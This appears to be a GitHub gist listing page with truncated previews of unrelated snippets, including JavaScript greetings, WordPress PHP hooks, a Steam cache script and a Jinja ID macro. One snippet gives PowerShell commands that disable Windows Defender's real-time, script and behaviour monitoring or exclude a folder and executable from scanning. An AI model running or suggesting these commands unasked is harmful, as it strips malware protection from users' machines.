This gist contains multiple files. Pick one via data-file.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| // Code Snippet (GitHub Gist) by FreshJuice 🍊 | |
| function hello(name = 'world') { | |
| const msg = `Hello, ${name}!`; | |
| console.log(msg); | |
| return msg; | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| /** | |
| * example.js — placeholder gist for FreshJuice GitHub Gist module | |
| * 🍊 FreshJuice style: squeeze out a fruity greeting | |
| */ | |
| function squeeze(name = 'world') { | |
| const fruits = ['🍊', '🍓', '🍍', '🥭', '🍑']; | |
| const pick = fruits[Math.floor(Math.random() * fruits.length)]; | |
| console.log(`FreshJuice says: Hello, ${name}! ${pick}`); | |
| return `Hello, ${name}! ${pick}`; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env bash | |
| set -euo pipefail | |
| # --- Detect Steam App ID from environment --- | |
| APPID="${SteamAppId:-${STEAM_COMPAT_APP_ID:-}}" | |
| if [[ -z "${APPID}" ]]; then | |
| echo "[RAMCACHE] ERROR: Steam AppID not found in env (SteamAppId / STEAM_COMPAT_APP_ID)." | |
| echo "Launch this via Steam (it sets the vars), or set APPID= manually." | |
| exit 1 | |
| fi |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| function greet(name) { | |
| return `Hello, ${name}!`; | |
| } | |
| console.log(greet('World')); // 'Hello, World!' |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?php | |
| /** | |
| * Custom Gravatar | |
| * | |
| * This snippet adds a custom gravatar field to the user profile page. | |
| * It also adds a filter to replace the default gravatar with the custom one. | |
| * To make it work, you need to have Advanced Custom Fields plugin installed and activated. | |
| * | |
| * Usage: | |
| * 1. Copy this snippet to your theme's directory (e.g. /wp-content/themes/your-theme/inc/custom-gravatar.php) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # disable | |
| powershell -command 'Set-MpPreference -DisableRealtimeMonitoring $true -DisableScriptScanning $true -DisableBehaviorMonitoring $true -DisableIOAVProtection $true -DisableIntrusionPreventionSystem $true' | |
| # Or exclude | |
| powershell -command 'Add-MpPreference -ExclusionPath "c:\temp" -ExclusionProcess "c:\temp\yourstuffs.exe"' |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?php | |
| add_action('admin_init', function () { | |
| // Redirect any user trying to access comments page | |
| global $pagenow; | |
| if ($pagenow === 'edit-comments.php') { | |
| wp_redirect(admin_url()); | |
| exit; | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| var countries = { | |
| "Afghanistan": [ | |
| "Badakhshan", | |
| "Badghis", | |
| "Baghlan", | |
| "Balkh", | |
| "Bamian", | |
| "Daykondi", | |
| "Farah", | |
| "Faryab", |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <!-- Jinja Unique ID Generator --> | |
| {% macro random_int(len) -%} | |
| {% for n in range(len) %} | |
| {{ [0,1,2,3,4,5,6,7,8,9]|random }} | |
| {% endfor %} | |
| {%- endmacro %} | |
| {% macro unique_id(count_groups=5, group_len=6, separator='-') -%} | |
| {% set parts %} |
NewerOlder